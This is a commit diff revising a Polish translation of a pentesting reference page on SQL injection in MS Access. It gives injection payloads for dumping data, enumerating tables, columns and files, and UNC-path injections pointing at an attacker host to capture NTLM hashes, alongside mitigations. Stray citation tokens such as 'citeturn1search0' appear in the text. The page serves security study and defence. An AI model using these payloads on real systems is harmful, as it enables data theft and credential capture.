Translated ['src/pentesting-web/sql-injection/ms-access-sql-injection.md

This commit is contained in:
Translator 2025-07-11 10:08:19 +00:00
parent d03df88f87
commit 48340177de

View File

@ -4,7 +4,7 @@
## Online Playground
- [https://www.w3schools.com/sql/trysql.asp?filename=trysql_func_ms_format\&ss=-1](https://www.w3schools.com/sql/trysql.asp?filename=trysql_func_ms_format&ss=-1)
- [https://www.w3schools.com/sql/trysql.asp?filename=trysql_func_ms_format&ss=-1](https://www.w3schools.com/sql/trysql.asp?filename=trysql_func_ms_format&ss=-1)
## Ograniczenia DB
@ -17,7 +17,7 @@ Konkatenacja ciągów jest możliwa za pomocą znaków `& (%26)` i `+ (%2b)`.
```
### Komentarze
Nie ma komentarzy w MS Access, ale najwyraźniej możliwe jest usunięcie ostatniego znaku zapytania za pomocą znaku NULL:
Nie ma komentarzy w MS Access, ale najwyraźniej możliwe jest usunięcie ostatniego elementu zapytania za pomocą znaku NULL:
```sql
1' union select 1,2 from table%00
```
@ -35,7 +35,7 @@ Operator **`LIMIT`** **nie jest zaimplementowany**. Możliwe jest jednak ogranic
```sql
1' UNION SELECT TOP 3 attr FROM table%00
```
Podobnie jak TOP, możesz użyć **`LAST`**, który pobierze **wiersze z końca**.
Tak jak w TOP, możesz użyć **`LAST`**, który pobierze **wiersze z końca**.
## Zapytania UNION/Zapytania podrzędne
@ -48,19 +48,19 @@ Dlatego musisz znać **ważną nazwę tabeli**.
### Łączenie równań + Podciąg
> [!WARNING]
> To pozwoli Ci na wyeksfiltrowanie wartości z bieżącej tabeli bez potrzeby znajomości nazwy tabeli.
> To pozwoli Ci na wyeksportowanie wartości z bieżącej tabeli bez potrzeby znajomości jej nazwy.
**MS Access** pozwala na **dziwną składnię** taką jak **`'1'=2='3'='asd'=false`**. Jak zwykle, SQL injection będzie w klauzuli **`WHERE`**, co możemy wykorzystać.
Wyobraź sobie, że masz SQLi w bazie danych MS Access i wiesz (lub zgadłeś), że jedna **nazwa kolumny to username**, a to jest pole, które chcesz **wyeksfiltrować**. Możesz sprawdzić różne odpowiedzi aplikacji webowej, gdy używana jest technika łączenia równań i potencjalnie wyeksfiltrować zawartość za pomocą **iniekcji logicznej** używając funkcji **`Mid`** do uzyskania podciągów.
Wyobraź sobie, że masz SQLi w bazie danych MS Access i wiesz (lub zgadłeś), że jedna **nazwa kolumny to username**, a to jest pole, które chcesz **wyeksportować**. Możesz sprawdzić różne odpowiedzi aplikacji webowej, gdy używana jest technika łączenia równań i potencjalnie wyeksportować zawartość za pomocą **iniekcji logicznej** używając funkcji **`Mid`** do uzyskania podciągów.
```sql
'=(Mid(username,1,3)='adm')='
```
Jeśli znasz **nazwę tabeli** i **kolumny**, które chcesz zrzucić, możesz użyć kombinacji `Mid`, `LAST` i `TOP`, aby **wyciekł wszystkie informacje** za pomocą boolean SQLi:
Jeśli znasz **nazwę tabeli** i **kolumny**, które chcesz zrzucić, możesz użyć kombinacji `Mid`, `LAST` i `TOP`, aby **wyciągnąć wszystkie informacje** za pomocą boolean SQLi:
```sql
'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='
```
_Czuj się swobodnie, aby sprawdzić to w internetowym placu zabaw._
_Czuj się swobodnie, aby to sprawdzić w internetowym placu zabaw._
### Bruteforcing nazw tabel
@ -74,12 +74,12 @@ Możesz również użyć bardziej tradycyjnego sposobu:
```
_Czuj się swobodnie, aby to sprawdzić w internetowym placu zabaw._
- Sqlmap wspólne nazwy tabel: [https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt](https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt)
- Sqlmap common table names: [https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt](https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt)
- Istnieje inna lista w [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
### Bruteforcing nazw kolumn
### Brute-Forcing nazw kolumn
Możesz **bruteforować aktualne nazwy kolumn** za pomocą sztuczki z łańcuchowymi równaniami:
Możesz **brute-forcować aktualne nazwy kolumn** za pomocą sztuczki z łańcuchowymi równaniami:
```sql
'=column_name='
```
@ -93,17 +93,27 @@ Lub możesz przeprowadzić atak brute-force na nazwy kolumn **innej tabeli** za
-1' AND (SELECT TOP 1 column_name FROM valid_table_name)%00
```
### Zrzut danych
### Dumping data
Już omówiliśmy [**technikę łączenia równań**](ms-access-sql-injection.md#chaining-equals-+-substring) **do zrzutu danych z bieżącej i innych tabel**. Ale są też inne sposoby:
Już omówiliśmy [**technikę łączenia równań**](ms-access-sql-injection.md#chaining-equals-+-substring) **w celu zrzutu danych z bieżącej i innych tabel**. Ale są też inne sposoby:
```sql
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
```
W skrócie, zapytanie używa instrukcji „if-then”, aby wywołać „200 OK” w przypadku sukcesu lub „500 Internal Error” w przeciwnym razie. Wykorzystując operator TOP 10, możliwe jest wybranie pierwszych dziesięciu wyników. Następne użycie LAST pozwala uwzględnić tylko 10-tą krotkę. Na takiej wartości, używając operatora MID, można przeprowadzić prostą porównanie znaków. Odpowiednio zmieniając indeksy MID i TOP, możemy zrzucić zawartość pola „username” dla wszystkich wierszy.
### Czasowe
### Sztuczki oparte na czasie (ślepe)
Sprawdź [https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN](<https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN>)
Jet/ACE SQL sam w sobie **nie** udostępnia natywnej funkcji `SLEEP()` lub `WAITFOR`, więc tradycyjne ślepe wstrzyknięcia oparte na czasie są ograniczone. Możesz jednak wprowadzić mierzalne opóźnienie, zmuszając silnik do uzyskania dostępu do **zasobu sieciowego, który jest wolny lub nie odpowiada**. Ponieważ silnik spróbuje otworzyć plik przed zwróceniem wyniku, czas odpowiedzi HTTP odzwierciedla opóźnienie w podróży do hosta kontrolowanego przez atakującego.
```sql
' UNION SELECT 1 FROM SomeTable IN '\\10.10.14.3\doesnotexist\dummy.mdb'--
```
Wskaź UNC do:
* udziału SMB za połączeniem o wysokiej latencji
* hosta, który zrywa handshake TCP po `SYN-ACK`
* pułapki zapory ogniowej
Dodatkowe sekundy wprowadzone przez zdalne wyszukiwanie mogą być użyte jako **oracle czasowy poza pasmem** dla warunków boolowskich (np. wybierz wolną ścieżkę tylko wtedy, gdy wstrzyknięty predykat jest prawdziwy). Microsoft dokumentuje zachowanie zdalnej bazy danych oraz powiązany przełącznik zabijający w rejestrze w KB5002984. citeturn1search0
### Inne interesujące funkcje
@ -111,7 +121,7 @@ Sprawdź [https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676
- `LEN('1234')` pobiera długość ciągu
- `ASC('A')` pobiera wartość ascii znaku
- `CHR(65)` pobiera ciąg z wartości ascii
- `IIF(1=1,'a','b')` jeśli to, to
- `IIF(1=1,'a','b')` jeśli to wtedy
- `COUNT(*)` zlicza liczbę elementów
## Enumerowanie tabel
@ -130,17 +140,17 @@ Jednak należy zauważyć, że bardzo typowe jest znalezienie SQL Injection, gdz
## Dostęp do systemu plików
### Pełna ścieżka do katalogu głównego serwera WWW
### Pełna ścieżka katalogu głównego serwera WWW
Znajomość **absolutnej ścieżki do katalogu głównego serwera WWW może ułatwić dalsze ataki**. Jeśli błędy aplikacji nie są całkowicie ukryte, ścieżka katalogu może zostać ujawniona podczas próby wyboru danych z nieistniejącej bazy danych.
Znajomość **absolutnej ścieżki katalogu głównego serwera WWW może ułatwić dalsze ataki**. Jeśli błędy aplikacji nie są całkowicie ukryte, ścieżka katalogu może zostać ujawniona, próbując wybrać dane z nieistniejącej bazy danych.
`http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00`
`http://localhost/script.asp?id=1'+ '+UNION+SELECT+1+FROM+FakeDB.FakeTable%00`
MS Access odpowiada **komunikatem o błędzie zawierającym pełną ścieżkę katalogu WWW**.
### Enumeracja plików
Następujący wektor ataku może być użyty do **wnioskowania o istnieniu pliku w zdalnym systemie plików**. Jeśli określony plik istnieje, MS Access wyzwala komunikat o błędzie informujący, że format bazy danych jest nieprawidłowy:
Następujący wektor ataku może być użyty do **wnioskowania o istnieniu pliku na zdalnym systemie plików**. Jeśli określony plik istnieje, MS Access wyzwala komunikat o błędzie informujący, że format bazy danych jest nieprawidłowy:
`http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00`
@ -150,18 +160,51 @@ Inny sposób enumeracji plików polega na **określeniu elementu database.table*
### Zgadywanie nazwy pliku .mdb
**Nazwę pliku bazy danych (.mdb)** można wnioskować za pomocą następującego zapytania:
**Nazwa pliku bazy danych (.mdb)** może być wnioskowana za pomocą następującego zapytania:
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00`
Gdzie **name\[i] to nazwa pliku .mdb** i **realTable to istniejąca tabela** w bazie danych. Chociaż MS Access zawsze wyzwala komunikat o błędzie, możliwe jest odróżnienie nieprawidłowej nazwy pliku od prawidłowej nazwy pliku .mdb.
Gdzie **name[i] to nazwa pliku .mdb** i **realTable to istniejąca tabela** w bazie danych. Chociaż MS Access zawsze wyzwala komunikat o błędzie, możliwe jest odróżnienie nieprawidłowej nazwy pliku od prawidłowej nazwy pliku .mdb.
### Łamacze haseł .mdb
### Zdalny dostęp do bazy danych i kradzież poświadczeń NTLM (2023)
Od Jet 4.0 każde zapytanie może odnosić się do tabeli znajdującej się w *innym* pliku `.mdb/.accdb` za pomocą klauzuli `IN '<path>'`:
```sql
SELECT first_name FROM Employees IN '\\server\share\hr.accdb';
```
Jeśli dane wejściowe użytkownika są konkatenowane w części po **IN** (lub w wywołaniu `JOIN … IN` / `OPENROWSET` / `OPENDATASOURCE`), atakujący może określić **ścieżkę UNC**, która wskazuje na hosta, który kontroluje. Silnik będzie:
1. próbował uwierzytelnić się przez SMB / HTTP, aby otworzyć zdalną bazę danych;
2. wyciekł **poświadczenia NTLM** serwera WWW (wymuszone uwierzytelnienie);
3. analizował zdalny plik źle sformatowana lub złośliwa baza danych może wywołać błędy korupcji pamięci Jet/ACE, które były wielokrotnie łatanie (np. CVE-2021-28455).
Praktyczny przykład wstrzyknięcia:
```sql
1' UNION SELECT TOP 1 name
FROM MSysObjects
IN '\\attacker\share\poc.mdb'-- -
```
Impact:
* Wyjściowa eksfiltracja hashy Net-NTLMv2 (użyteczne do relaying lub łamania offline).
* Potencjalne zdalne wykonanie kodu, jeśli zostanie wykorzystany nowy błąd parsera Jet/ACE.
Mitigations (zalecane nawet dla aplikacji Classic ASP):
* Dodaj wartość rejestru `AllowQueryRemoteTables = 0` pod `HKLM\Software\Microsoft\Jet\4.0\Engines` (i pod równoważną ścieżką ACE). To zmusza Jet/ACE do odrzucenia zdalnych ścieżek zaczynających się od `\\`.
* Zablokuj wychodzące SMB/WebDAV na granicy sieci.
* Oczyść / parametryzuj każdą część zapytania, która może znaleźć się w klauzuli `IN`.
Wektor wymuszonej autoryzacji został ponownie zbadany przez Check Point Research w 2023 roku, udowadniając, że nadal jest podatny na ataki na w pełni załatanych serwerach Windows, gdy klucz rejestru jest nieobecny. citeturn0search0
### .mdb Password Cracker
[**Access PassView**](https://www.nirsoft.net/utils/accesspv.html) to darmowe narzędzie, które można wykorzystać do odzyskania głównego hasła bazy danych Microsoft Access 95/97/2000/XP lub Jet Database Engine 3.0/4.0.
## Odniesienia
## References
- [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
- [Microsoft KB5002984 Konfigurowanie Jet/ACE w celu zablokowania zdalnych tabel](https://support.microsoft.com/en-gb/topic/kb5002984-configuring-jet-red-database-engine-and-access-connectivity-engine-to-block-access-to-remote-databases-56406821-30f3-475c-a492-208b9bd30544)
- [Check Point Research Wykorzystywanie powiązanych tabel Microsoft Access do wymuszonej autoryzacji NTLM (2023)](https://research.checkpoint.com/2023/abusing-microsoft-access-linked-table-feature-to-perform-ntlm-forced-authentication-attacks/)
{{#include ../../banners/hacktricks-training.md}}